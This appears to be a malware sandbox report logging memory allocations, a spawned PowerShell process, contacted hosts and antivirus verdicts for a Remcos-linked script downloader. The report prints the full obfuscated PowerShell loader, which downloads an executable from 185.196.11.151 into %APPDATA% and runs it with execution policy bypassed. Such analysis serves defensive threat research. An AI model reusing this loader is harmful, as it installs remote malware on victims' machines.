protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KMIhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (KMIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18410,18418,18415,18407,18410,18410,18407,18410,18414,18410,18408,18466,18461,18467,18458,18408,18481,18436,18477,18483,18479,18461,18430,18472,18429,18426,18467,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + 'xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnSvy;
cmdline powershell.exe -ExecutionPolicy UnRestricted function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KMIhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (KMIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18410,18418,18415,18407,18410,18410,18407,18410,18414,18410,18408,18466,18461,18467,18458,18408,18481,18436,18477,18483,18479,18461,18430,18472,18429,18426,18467,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + 'xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnSvy;
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KMIhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (KMIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18410,18418,18415,18407,18410,18410,18407,18410,18414,18410,18408,18466,18461,18467,18458,18408,18481,18436,18477,18483,18479,18461,18430,18472,18429,18426,18467,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + 'xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnSvy;
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 185.196.11.151
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\xKtzvdEoDAjLmvN.exe
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -executionpolicy unrestricted value Attempts to bypass execution policy
CTX html.trojan.generic
Skyhigh VBS/Downloader.acl
Arcabit Trojan.Generic.D473765C
Symantec Scr.Malscript!gen11
ESET-NOD32 VBS/TrojanDownloader.Agent.XAO
TrendMicro-HouseCall Trojan.HTML.REMCOS.YXEKFZ
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Trojan.GenericKD.74675804
NANO-Antivirus Trojan.Script.Downloader.jpdglv
MicroWorld-eScan Trojan.GenericKD.74675804
Emsisoft Trojan.GenericKD.74675804 (B)
DrWeb Trojan.DownLoader47.49759
TrendMicro Trojan.HTML.REMCOS.YXEKFZ
Ikarus Trojan-Downloader.VBS.Agent
FireEye Trojan.GenericKD.74675804
Jiangmin Trojan.Script.amhb
Google Detected
Kingsoft hta.Troj.2024093
Gridinsoft Trojan.U.Remcos.tr
Microsoft Trojan:Script/Wacatac.B!ml
GData HTML.Trojan.Agent.5ZB2M3
Varist VBS/Agent.AZR!Eldorado
McAfee VBS/Downloader.acl
Tencent Vbs.Trojan-Downloader.Der.Ssmw
huorong TrojanDownloader/VBS.Maloader.n
Fortinet VBS/Agent.UQJ!tr
AVG Script:SNH-gen [Trj]
dead_host 185.196.11.151:80